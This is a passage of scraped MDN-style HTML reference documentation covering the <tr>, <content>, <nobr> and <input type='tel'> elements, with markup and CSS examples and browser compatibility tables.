`<map>` element to create a hotspot region - `coords` and `shape` attribute support removed. | No | No | No | | `target` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `text_fragments` | 80 | 80 | No | No | 67 | No | 80 | 80 | No | 57 | No | 13.0 | | `type` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [`<link>`](link) is similar to `<a>`, but for metadata hyperlinks that are invisible to users. * [`:link`](https://developer.mozilla.org/en-US/docs/Web/CSS/:link) is a CSS pseudo-class that will match `<a>` elements with valid `href` attributes. * [`:visited`](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited) is a CSS pseudo-class that will match `<a>` elements with URL in `href` attribute that was visited by the user in the past. * [`:link`](https://developer.mozilla.org/en-US/docs/Web/CSS/:link) is a CSS pseudo-class that will match `<a>` elements with URL in `href` attribute that was not yet visited by the user. * [`:any-link`](https://developer.mozilla.org/en-US/docs/Web/CSS/:any-link) is a CSS pseudo-class that will match `<a>` elements with `href` attribute. * [Text fragments](https://developer.mozilla.org/en-US/docs/Web/Text_fragments) are user-agent instructions added to URLs that allow content authors to link to specific text on a page, without IDs being required.
programming_docs
html <tr>: The Table Row element <tr>: The Table Row element =========================== The `<tr>` [HTML](../index) element defines a row of cells in a table. The row's cells can then be established using a mix of [`<td>`](td) (data cell) and [`<th>`](th) (header cell) elements. Try it ------ To provide additional control over how cells fit into (or span across) columns, both `<th>` and `<td>` support the [`colspan`](td#attr-colspan) attribute, which lets you specify how many columns wide the cell should be, with the default being 1. Similarly, you can use the [`rowspan`](td#attr-rowspan) attribute on cells to indicate they should span more than one table row. This can take a little practice to get right when building your tables. We have some [examples](#examples) below, but for more examples and an in-depth tutorial, see the [HTML tables](https://developer.mozilla.org/en-US/docs/Learn/HTML/Tables) series in our [Learn web development](https://developer.mozilla.org/en-US/docs/Learn) area, where you'll learn how to use the table elements and their attributes to get just the right layout and formatting for your tabular data. Attributes ---------- This element includes the [global attributes](../global_attributes). There are also several [deprecated attributes](#deprecated_attributes), which you should avoid but may need to know when reading older code. ### Deprecated attributes The following attributes may still be implemented in browsers but are no longer part of the HTML specification and may be missing or may not work as expected. They should be avoided. [**`align`**](#attr-align) Deprecated A string which specifies how the cell's context should be aligned horizontally within the cells in the row; this is shorthand for using `align` on every cell in the row individually. Possible values are: `left` Align the content of each cell at its left edge. `center` Center the contents of each cell between their left and right edges. `right` Align the content of each cell at its right edge. `justify` Widen whitespaces within the text of each cell so that the text fills the full width of each cell (full justification). `char` Align each cell in the row on a specific character (such that each row in the column that is configured this way will horizontally align its cells on that character). This uses the [`char`](tr#attr-char) and [`charoff`](tr#attr-charoff) to establish the alignment character (typically "." or "," when aligning numerical data) and the number of characters that should follow the alignment character. This alignment type was never widely supported. If no value is expressly set for `align`, the parent node's value is inherited. **Note:** Instead of using the obsolete `align` attribute, you should instead use the CSS [`text-align`](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align) property to establish `left`, `center`, `right`, or `justify` alignment for the row's cells. To apply character-based alignment, set the CSS [`text-align`](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align) property to the alignment character (such as `"."` or `","`). [**`bgcolor`**](#attr-bgcolor) Deprecated A string specifying a color to apply to the backgrounds of each of the row's cells. This can be either a [hexadecimal `#RRGGBB` or `#RGB` value](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/rgb) or a [color keyword](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#color_keywords). Omitting the attribute or setting it to `null` in JavaScript causes the row's cells to inherit the row's parent element's background color. **Note:** The [`<tr>`](tr) element should be styled using [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS). To give a similar effect as the `bgcolor` attribute, use the CSS property [`background-color`](https://developer.mozilla.org/en-US/docs/Web/CSS/background-color). [**`char`**](#attr-char) Deprecated A string which sets the character to align the cells in each of the row's columns on (each row's centering that uses the same character gets aligned with others using the same character. Typical values for this include a period (`"."`) or comma (`","`) when attempting to align numbers or monetary values. If [`align`](tr#attr-align) is not set to `char`, this attribute is ignored. **Note:** This attribute is not only obsolete, but was rarely implemented anyway. To achieve the same effect as the [`char`](tr#attr-char) attribute, set the CSS [`text-align`](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align) property to the same string you would specify for the `char` property, such as `text-align: "."`. [**`charoff`**](#attr-charoff) Deprecated A string indicating the number of characters on the tail end of the column's data should be displayed after the alignment character specified by the `char` attribute. For example, when displaying money values for currencies that use hundredths of a unit (such as the dollar, which is divided into 100 cents), you would typically specify a value of 2, so that in tandem with `char` being set to `"."`, the values in a column would be cleanly aligned on the decimal points, with the number of cents properly displayed to the right of the decimal point. **Note:** This attribute is obsolete, and was never widely supported anyway. [**`valign`**](#attr-valign) Deprecated A string specifying the vertical alignment of the text within each cell in the row. Possible values for this attribute are: `baseline` Aligns each cell's content text as closely as possible to the bottom of the cell, handling alignment of different fonts and font sizes by aligning the characters along the [baseline](https://en.wikipedia.org/wiki/Baseline) of the font(s) used in the row. If all the characters in the row are the same size, the effect is the same as `bottom`. `bottom`, Draws the text in each of the row's cells as closely as possible to the bottom edge of those cells. `middle` Each cell's text is vertically centered. `top` Each cell's text is drawn as closely as possible to the top edge of the containing cell. **Note:** Don't use the obsolete `valign` attribute. Instead, add the CSS [`vertical-align`](https://developer.mozilla.org/en-US/docs/Web/CSS/vertical-align) property to the row. Examples -------- See [`<table>`](table) for examples on `<tr>`. ### Basic example This simple example shows a table listing people's names along with various information about membership in a club or service. #### HTML This HTML demonstrates the most basic structure of a table. There are no groups, no cells that span multiple rows or columns, no captions, and only the most basic styling to create lines around the components of the table for something resembling clarity. There are just four rows (including one header row), each with four columns (including one header column). Not even the table section elements are used; instead, the browser is allowed to determine this automatically. We'll add [`<thead>`](thead), [`<tbody>`](tbody), and [`<tfoot>`](tfoot) in the next example. ``` <table> <tr> <th>Name</th> <th>ID</th> <th>Member Since</th> <th>Balance</th> </tr> <tr> <td>Margaret Nguyen</td> <td>427311</td> <td><time datetime="2010-06-03">June 3, 2010</time></td> <td>0.00</td> </tr> <tr> <td>Edvard Galinski</td> <td>533175</td> <td><time datetime="2011-01-13">January 13, 2011</time></td> <td>37.00</td> </tr> <tr> <td>Hoshi Nakamura</td> <td>601942</td> <td><time datetime="2012-07-23">July 23, 2012</time></td> <td>15.00</td> </tr> </table> ``` #### CSS This simple CSS just adds a solid black border around the table and around each of its cells, including those specified using both [`<th>`](th) and [`<td>`](td). That way, both header and data cells are easily demarcated. ``` table { border: 1px solid black; } th, td { border: 1px solid black; } ``` #### Result ### Row and column spanning Now, let's introduce another column that shows the date the user's membership ended, along with a super-heading above the "joined" and "canceled" dates called "Membership Dates". This involves adding both row and column spans to the table, so that the heading cells can wind up in the right places. #### Result Let's actually look at the output first this time: Notice how the heading area here is actually two rows, one with "Name", "ID", "Membership Dates", and "Balance" headings, and the other with "Joined" and "Canceled", which are subheadings below "Membership Dates". This is accomplished by: * Having the first row's "Name", "ID", and "Balance" heading cells span two rows using the [`rowspan`](../global_attributes#rowspan) attribute, making them each be two rows tall. * Having the first row's "Membership Dates" heading cell span two columns using the [`colspan`](../global_attributes#colspan) attribute, which causes this heading to actually be two columns wide. * Having a second row of [`<th>`](th) elements that contains only the "Joined" and "Canceled" headings. Because the other columns are already occupied by first-row cells that span into the second row, these wind up correctly positioned under the "Membership Dates" heading. #### HTML The HTML is similar to the previous example's, except for the addition of the new column in each data row, and the changes to the header. Those changes make the HTML look like this: ``` <table> <tr> <th rowspan="2">Name</th> <th rowspan="2">ID</th> <th colspan="2">Membership Dates</th> <th rowspan="2">Balance</th> </tr> <tr> <th>Joined</th> <th>Canceled</th> </tr> <tr> <th>Margaret Nguyen</th> <td>427311</td> <td><time datetime="2010-06-03">June 3, 2010</time></td> <td>n/a</td> <td>0.00</td> </tr> <tr> <th>Edvard Galinski</th> <td>533175</td> <td><time datetime="2011-01-13">January 13, 2011</time></td> <td><time datetime="2017-04-08">April 8, 2017</time></td> <td>37.00</td> </tr> <tr> <th>Hoshi Nakamura</th> <td>601942</td> <td><time datetime="2012-07-23">July 23, 2012</time></td> <td>n/a</td> <td>15.00</td> </tr> </table> ``` The differences that matter here—for the purposes of discussing row and column spans—are in the first few lines of the code above. Note the use of `rowspan` on to make the "Name", "ID", and "Balance" headers occupy two rows instead of just one, and the use of `colspan` to make the "Membership Dates" header cell span across two columns. The CSS is unchanged from before. ### Explicitly specifying table content groups Before really getting into styling this table, let's take a moment to add row and column groups to help make our CSS easier. #### HTML The HTML is where the action is here, and the action is pretty simple. ``` <table> <thead> <tr> <th rowspan="2">Name</th> <th rowspan="2">ID</th> <th colspan="2">Membership Dates</th> <th rowspan="2">Balance</th> </tr> <tr> <th>Joined</th> <th>Canceled</th> </tr> </thead> <tbody> <tr> <th scope="row">Margaret Nguyen</th> <td>427311</td> <td><time datetime="2010-06-03">June 3, 2010</time></td> <td>n/a</td> <td>0.00</td> </tr> <tr> <th scope="row">Edvard Galinski</th> <td>533175</td> <td><time datetime="2011-01-13">January 13, 2011</time></td> <td><time datetime="2017-04-08">April 8, 2017</time></td> <td>37.00</td> </tr> <tr> <th scope="row">Hoshi Nakamura</th> <td>601942</td> <td><time datetime="2012-07-23">July 23, 2012</time></td> <td>n/a</td> <td>15.00</td> </tr> </tbody> </table> ``` The differences that matter here—for the purposes of discussing row and column spans—are in the first few lines of the code above. Note the use of `rowspan` on to make the "Name", "ID", and "Balance" headers occupy two rows instead of just one, and the use of `colspan` to make the "Membership Dates" header cell span across two columns. Once again, we haven't touched the CSS. #### Result The output is entirely unchanged, despite the addition of useful contextual information under the hood: ### Basic styling As is the case with all parts of a table, you can change the appearance of a table row and its contents using CSS. Any styles applied to the `<tr>` element will affect the cells within the row unless overridden by styles applied to those cells. Let's apply a basic style to the table to adjust the typeface being used, and add a background color to the header row. #### Result Again, let's take a look at the result first. #### CSS This time, the HTML is unchanged, so let's dive right into the CSS. ``` table { border: 1px solid black; font: 16px "Open Sans", Helvetica, Arial, sans-serif; } thead > tr { background-color: rgb(228, 240, 245); } th, td { border: 1px solid black; padding: 4px 6px; } ``` While we add a [`font`](https://developer.mozilla.org/en-US/docs/Web/CSS/font) property to the [`<table>`](table) element here to set a more visually-appealing typeface (or an abominable sans-serif typeface, depending on your personal opinion), the interesting part is the second style here, where we style `<tr>` elements located within the [`<thead>`](thead) so they have a light blue background color. This is a way to quickly apply a background color to all the cells in the heading area at once. This does *not* affect the style of the [`<th>`](th) elements in the first column, though, where we treat the member names as a row heading. ### Advanced styling Now we'll go all-out, with styles on rows in the header and body areas both, including alternating row colors, cells with different colors depending on position within a row, and so forth. #### Result Here's what the final table will look like: There is no change to the HTML again. See what proper preparation of your HTML can do for you? #### CSS The CSS is much more involved this time. It's not complicated, but there's a lot going on. Let's break it down. ##### The table and base styles ``` table { border: 1px solid black; font: 16px "Open Sans", Helvetica, Arial, sans-serif; border-spacing: 0; border-collapse: collapse; } ``` Here we've added the [`border-spacing`](https://developer.mozilla.org/en-US/docs/Web/CSS/border-spacing) and [`border-collapse`](https://developer.mozilla.org/en-US/docs/Web/CSS/border-collapse) properties to eliminate spacing between cells and collapse borders that touch one another to be a single border instead of winding up with double borders. ``` th, td { border: 1px solid black; padding: 4px 6px; } th { vertical-align: bottom; } ``` And here are the default styles for all table cells. Now let's customize! ##### The top header: overall We're going to look at the top header in two pieces. First, the overall styling of the header: ``` thead > tr { background-color: rgb(228, 240, 245); } thead > tr:nth-of-type(2) { border-bottom: 2px solid black; } ``` This sets the background color of all `<tr>` elements in the table's heading (as specified using [`<thead>`](thead)). Then we set the bottom border of the top header to be a two-pixel wide line. Notice, however, that we're using the [`:nth-of-type`](https://developer.mozilla.org/en-US/docs/Web/CSS/:nth-of-type) selector to apply [`border-bottom`](https://developer.mozilla.org/en-US/docs/Web/CSS/border-bottom) to the *second* row in the heading. Why? Because the heading is made of two rows that are spanned by some of the cells. That means there are actually two rows there; applying the style to the first row would not give us the expected result. ##### The "Joined" and "Canceled" headers Let's style these two header cells with green and red hues to represent the "good" of a new member and the "bummer" of a canceled membership. ``` thead > tr:last-of-type > th:nth-of-type(1) { background-color: rgb(225, 255, 225); } thead > tr:last-of-type > th:nth-of-type(2) { background-color: rgb(255, 225, 225); } ``` Here we dig into the last row of the table's header block and give the first header cell in it (the "Joined" header) a greenish color, and the second header cell in it (the "Canceled" header) a reddish hue. ##### Color every body other row differently It's common to help improve readability of table data by alternating row colors. Let's add a bit of color to every even row: ``` tbody > tr:nth-of-type(even) { background-color: rgb(237, 238, 242); } ``` ##### Give the left-side header some style Since we want the first column to stand out as well, we'll add some custom styling here, too. ``` tbody > tr > th:first-of-type { text-align: left; background-color: rgb(225, 229, 244); } ``` This styles the first header cell in each row of the table's body with [`text-align`](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align) to left-justify the member names, and with a somewhat different background color. ##### Justify the balances Finally, since it's standard practice to right-justify currency values in tables, let's do that here. ``` tbody > tr > td:last-of-type { text-align: right; } ``` This just sets the CSS [`text-align`](https://developer.mozilla.org/en-US/docs/Web/CSS/text-align) property for the last [`<td>`](td) in each body row to `"right"`. Technical summary ----------------- | | | | --- | --- | | [Content categories](../content_categories) | None | | Permitted content | Zero or more [`<td>`](td) and/or [`<th>`](th) elements; [script-supporting elements](https://developer.mozilla.org/en-US/docs/Glossary/Script-supporting_element) ([`<script>`](script) and [`<template>`](template)) are also allowed | | Tag omission | Start tag is mandatory. End tag may be omitted if the [`<tr>`](tr) element is immediately followed by a [`<tr>`](tr) element, or if the row is the last element in its parent table group ([`<thead>`](thead), [`<tbody>`](tbody) or [`<tfoot>`](tfoot)) element | | Permitted parents | [`<table>`](table) (only if the table has no child [`<tbody>`](tbody) element, and even then only after any [`<caption>`](caption), [`<colgroup>`](colgroup), and [`<thead>`](thead) elements); otherwise, the parent must be [`<thead>`](thead), [`<tbody>`](tbody) or [`<tfoot>`](tfoot) | | Implicit ARIA role | `[row](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/row_role)` | | Permitted ARIA roles | Any | | DOM interface | [`HTMLTableRowElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLTableRowElement) | Specifications -------------- | Specification | | --- | | [HTML Standard # the-tr-element](https://html.spec.whatwg.org/multipage/tables.html#the-tr-element) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `tr` | 1 | 12 | 1 | Yes | Yes | Yes | Yes | Yes | 4 | Yes | Yes | Yes | | `align` | No | 12 | No See [bug 915](https://bugzil.la/915). | Yes | No | No | No | No | No See [bug 915](https://bugzil.la/915). | No | No | No | | `bgcolor` | 1 | 12 | 1 | Yes | ≤15 | 1 | 4.4 | 18 | 4 | ≤14 | 1 | 1.0 | | `char` | No | 12 | No See [bug 2212](https://bugzil.la/2212). | Yes | No | No | No | No | No See [bug 2212](https://bugzil.la/2212). | No | No | No | | `charoff` | No | 12 | No See [bug 2212](https://bugzil.la/2212). | Yes | No | No | No | No | No See [bug 2212](https://bugzil.la/2212). | No | No | No | | `valign` | No | 12 | No See [bug 915](https://bugzil.la/915). | Yes | No | No | No | No | No See [bug 915](https://bugzil.la/915). | No | No | No | See also -------- * [Learning area: HTML tables](https://developer.mozilla.org/en-US/docs/Learn/HTML/Tables): An introduction to using tables, including `<tr>`. * [`HTMLTableRowElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLTableRowElement): the interface on which `<tr>` is based. * Other table-related elements: + [`<table>`](table), [`<thead>`](thead), [`<tbody>`](tbody), [`<tfoot>`](tfoot), [`<td>`](td), [`<th>`](th), [`<caption>`](caption), [`<col>`](col), and [`<colgroup>`](colgroup)
programming_docs
html <content>: The Shadow DOM Content Placeholder element <content>: The Shadow DOM Content Placeholder element ===================================================== **Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the [compatibility table](#browser_compatibility) at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. **Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. The `<content>` [HTML](../index) element—an obsolete part of the [Web Components](https://developer.mozilla.org/en-US/docs/Web/Web_Components) suite of technologies—was used inside of [Shadow DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM) as an insertion point, and wasn't meant to be used in ordinary HTML. It has now been replaced by the [`<slot>`](slot) element, which creates a point in the DOM at which a shadow DOM can be inserted. **Note:** Though present in early draft of the specifications and implemented in several browsers, this element has been removed in later versions of the spec, and should not be used. It is documented here to assist in adapting code written during the time it was included in the spec to work with newer versions of the specification. | | | | --- | --- | | [Content categories](../content_categories) | [Transparent content](../content_categories#transparent_content_model). | | Permitted content | [Flow content](../content_categories#flow_content). | | Tag omission | None, both the starting and ending tag are mandatory. | | Permitted parent elements | Any element that accepts flow content. | | DOM interface | [`HTMLContentElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLContentElement) | Attributes ---------- This element includes the [global attributes](../global_attributes). `select` A comma-separated list of selectors. These have the same syntax as CSS selectors. They select the content to insert in place of the `<content>` element. Example ------- Here is a simple example of using the `<content>` element. It is an HTML file with everything needed in it. **Note:** For this code to work, the browser you display it in must support Web Components. See [Enabling Web Components in Firefox](https://developer.mozilla.org/en-US/docs/Web/Web_Components#enabling_web_components_in_firefox). ``` <html lang="en"> <head></head> <body> <!-- The original content accessed by <content> --> <div> <h4>My Content Heading</h4> <p>My content text</p> </div> <script> // Get the <div> above. const myContent = document.querySelector("div"); // Create a shadow DOM on the <div> const shadowroot = myContent.createShadowRoot(); // Insert into the shadow DOM a new heading and // part of the original content: the <p> tag. shadowroot.innerHTML = '<h2>Inserted Heading</h2> <content select="p"></content>'; </script> </body> </html> ``` If you display this in a web browser it should look like the following. Specifications -------------- This element is no longer defined by any specifications. Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `content` | 35-89 | 79-89 | No | No | 26-75 | No | 37-89 | 37-89 | No | No | No | 3.0 | See also -------- * [Web Components](https://developer.mozilla.org/en-US/docs/Web/Web_Components) * [`<shadow>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/shadow), [`<slot>`](slot), [`<template>`](template), `<element>` html <nobr>: The Non-Breaking Text element <nobr>: The Non-Breaking Text element ===================================== **Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the [compatibility table](#browser_compatibility) at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time. The `<nobr>` [HTML](../index) element prevents the text it contains from automatically wrapping across multiple lines, potentially resulting in the user having to scroll horizontally to see the entire width of the text. **Warning:** Although this element is widely supported, it was *never* standard HTML, so you shouldn't use it. Instead, use the CSS property [`white-space`](https://developer.mozilla.org/en-US/docs/Web/CSS/white-space) like this: ``` <span style="white-space: nowrap;">Long line with no breaks</span> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # nobr](https://html.spec.whatwg.org/multipage/obsolete.html#nobr) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `nobr` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [`white-space`](https://developer.mozilla.org/en-US/docs/Web/CSS/white-space) * [`overflow`](https://developer.mozilla.org/en-US/docs/Web/CSS/overflow) html <input type="tel"> <input type="tel"> ================== [`<input>`](../input) elements of type `tel` are used to let the user enter and edit a telephone number. Unlike [`<input type="email">`](email) and [`<input type="url">`](url), the input value is not automatically validated to a particular format before the form can be submitted, because formats for telephone numbers vary so much around the world. Try it ------ Despite the fact that inputs of type `tel` are functionally identical to standard `text` inputs, they do serve useful purposes; the most quickly apparent of these is that mobile browsers — especially on mobile phones — may opt to present a custom keypad optimized for entering phone numbers. Using a specific input type for telephone numbers also makes adding custom validation and handling of phone numbers more convenient. **Note:** Browsers that don't support type `tel` fall back to being a standard <text> input. | | | | --- | --- | | **[Value](#value)** | A string representing a telephone number, or empty | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported common attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`maxlength`](../input#attr-maxlength), [`minlength`](../input#attr-minlength), [`pattern`](../input#attr-pattern), [`placeholder`](../input#attr-placeholder), [`readonly`](../input#attr-readonly), and [`size`](../input#attr-size) | | **IDL attributes** | `list`, `selectionStart`, `selectionEnd`, `selectionDirection`, and `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`setRangeText()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setRangeText), [`setSelectionRange()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange) | Value ----- The [`<input>`](../input) element's [`value`](../input#attr-value) attribute contains a string that either represents a telephone number or is an empty string (`""`). Additional attributes --------------------- In addition to the attributes that operate on all [`<input>`](../input) elements regardless of their type, telephone number inputs support the following attributes. ### list The values of the list attribute is the [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) of a [`<datalist>`](../datalist) element located in the same document. The [`<datalist>`](../datalist) provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the [`type`](../input#attr-type) are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. ### maxlength The maximum number of characters (as UTF-16 code units) the user can enter into the telephone number field. This must be an integer value 0 or higher. If no `maxlength` is specified, or an invalid value is specified, the telephone number field has no maximum length. This value must also be greater than or equal to the value of `minlength`. The input will fail [constraint validation](../../constraint_validation) if the length of the text entered into the field is greater than `maxlength` UTF-16 code units long. ### minlength The minimum number of characters (as UTF-16 code units) the user can enter into the telephone number field. This must be a non-negative integer value smaller than or equal to the value specified by `maxlength`. If no `minlength` is specified, or an invalid value is specified, the telephone number input has no minimum length. The telephone number field will fail [constraint validation](../../constraint_validation) if the length of the text entered into the field is fewer than `minlength` UTF-16 code units long. ### pattern The `pattern` attribute, when specified, is a regular expression that the input's [`value`](../../global_attributes#value) must match in order for the value to pass [constraint validation](../../constraint_validation). It must be a valid JavaScript regular expression, as used by the [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) type, and as documented in our [guide on regular expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions); the `'u'` flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. **Note:** Use the [`title`](../input#attr-title) attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby. See [Pattern validation](#pattern_validation) below for details and an example. ### placeholder The `placeholder` attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text *must not* include carriage returns or line feeds. If the control's content has one directionality ([LTR](https://developer.mozilla.org/en-US/docs/Glossary/LTR) or [RTL](https://developer.mozilla.org/en-US/docs/Glossary/RTL)) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see [How to use Unicode controls for bidi text](https://www.w3.org/International/questions/qa-bidi-unicode-controls) for more information. **Note:** Avoid using the `placeholder` attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See [Labels and placeholders](../input#labels_and_placeholders) in [<input>: The Input (Form Input) element](../input) for more information. ### readonly A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed by JavaScript code directly setting the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### size The `size` attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font ([`font`](https://developer.mozilla.org/en-US/docs/Web/CSS/font) settings in use). This does *not* set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the [`maxlength`](#maxlength) attribute. Non-standard attributes ----------------------- The following non-standard attributes are available to telephone number input fields. As a general rule, you should avoid using them unless it can't be helped. ### autocorrect A Safari extension, the `autocorrect` attribute is a string which indicates whether to activate automatic correction while the user is editing this field. Permitted values are: `on` Enable automatic correction of typos, as well as processing of text substitutions if any are configured. `off` Disable automatic correction and text substitutions. ### mozactionhint A Mozilla extension, which provides a hint as to what sort of action will be taken if the user presses the `Enter` or `Return` key while editing the field. This attribute has been deprecated: use the [`enterkeyhint`](../../global_attributes#enterkeyhint) global attribute instead. Using tel inputs ---------------- Telephone numbers are a very commonly collected type of data on the web. When creating any kind of registration or e-commerce site, for example, you will likely need to ask the user for a telephone number, whether for business purposes or for emergency contact purposes. Given how commonly-entered phone numbers are, it's unfortunate that a "one size fits all" solution for validating phone numbers is not practical. Fortunately, you can consider the requirements of your own site and implement an appropriate level of validation yourself. See [Validation](#validation), below, for details. ### Custom keyboards One of the main advantages of `<input type="tel">` is that it causes mobile browsers to display a special keyboard for entering phone numbers. For example, here's what the keypads look like on a couple of devices. | Firefox for Android | WebKit iOS (Safari/Chrome/Firefox) | | --- | --- | | | | ### A simple tel input In its most basic form, a tel input can be implemented like this: ``` <label for="telNo">Phone number:</label> <input id="telNo" name="telNo" type="tel" /> ``` There is nothing magical going on here. When submitted to the server, the above input's data would be represented as, for example, `telNo=+12125553151`. ### Placeholders Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each [`<input>`](../input). This is where **placeholders** come in. A placeholder is a value that demonstrates the form the `value` should take by presenting an example of a valid value, which is displayed inside the edit box when the element's `value` is `""`. Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears. Here, we have an `tel` input with the placeholder `123-4567-8901`. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field. ``` <input id="telNo" name="telNo" type="tel" placeholder="123-4567-8901" /> ``` ### Controlling the input size You can control not only the physical length of the input box, but also the minimum and maximum lengths allowed for the input text itself. #### Physical input element size The physical size of the input box can be controlled using the [`size`](../input#attr-size) attribute. With it, you can specify the number of characters the input box can display at a time. In this example, for instance, the `tel` edit box is 20 characters wide: ``` <input id="telNo" name="telNo" type="tel" size="20" /> ``` #### Element value length The `size` is separate from the length limitation on the entered telephone number. You can specify a minimum length, in characters, for the entered telephone number using the [`minlength`](../input#attr-minlength) attribute; similarly, use [`maxlength`](../input#attr-maxlength) to set the maximum length of the entered telephone number. The example below creates a 20-character wide telephone number entry box, requiring that the contents be no shorter than 9 characters and no longer than 14 characters. ``` <input id="telNo" name="telNo" type="tel" size="20" minlength="9" maxlength="14" /> ``` **Note:** The above attributes do affect [Validation](#validation) — the above example's inputs will count as invalid if the length of the value is less than 9 characters, or more than 14. Most browser won't even let you enter a value over the max length. ### Providing default options #### Providing a single default using the value attribute As always, you can provide a default value for an `tel` input box by setting its [`value`](../input#attr-value) attribute: ``` <input id="telNo" name="telNo" type="tel" value="333-4444-4444" /> ``` #### Offering suggested values Taking it a step further, you can provide a list of default phone number values from which the user can select. To do this, use the [`list`](../input#attr-list) attribute. This doesn't limit the user to those options, but does allow them to select commonly-used telephone numbers more quickly. This also offers hints to [`autocomplete`](../input#attr-autocomplete). The `list` attribute specifies the ID of a [`<datalist>`](../datalist) element, which in turn contains one [`<option>`](../option) element per suggested value; each `option`'s `value` is the corresponding suggested value for the telephone number entry box. ``` <label for="telNo">Phone number: </label> <input id="telNo" name="telNo" type="tel" list="defaultTels" /> <datalist id="defaultTels"> <option value="111-1111-1111"></option> <option value="122-2222-2222"></option> <option value="333-3333-3333"></option> <option value="344-4444-4444"></option> </datalist> ``` With the [`<datalist>`](../datalist) element and its [`<option>`](../option)s in place, the browser will offer the specified values as potential values for the phone number; this is typically presented as a popup or drop-down menu containing the suggestions. While the specific user experience may vary from one browser to another, typically clicking in the edit box presents a drop-down of the suggested phone numbers. Then, as the user types, the list is adjusted to show only filtered matching values. Each typed character narrows down the list until the user makes a selection or types a custom value. Here's a screenshot of what that might look like: Validation ---------- As we've touched on before, it's quite difficult to provide a one-size-fits-all client-side validation solution for phone numbers. So what can we do? Let's consider some options. **Warning:** HTML form validation is *not* a substitute for server-side scripts that ensure the entered data is in the proper format before it is allowed into the database. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database. ### Making telephone numbers required You can make it so that an empty input is invalid and won't be submitted to the server using the [`required`](../input#attr-required) attribute. For example, let's use this HTML: 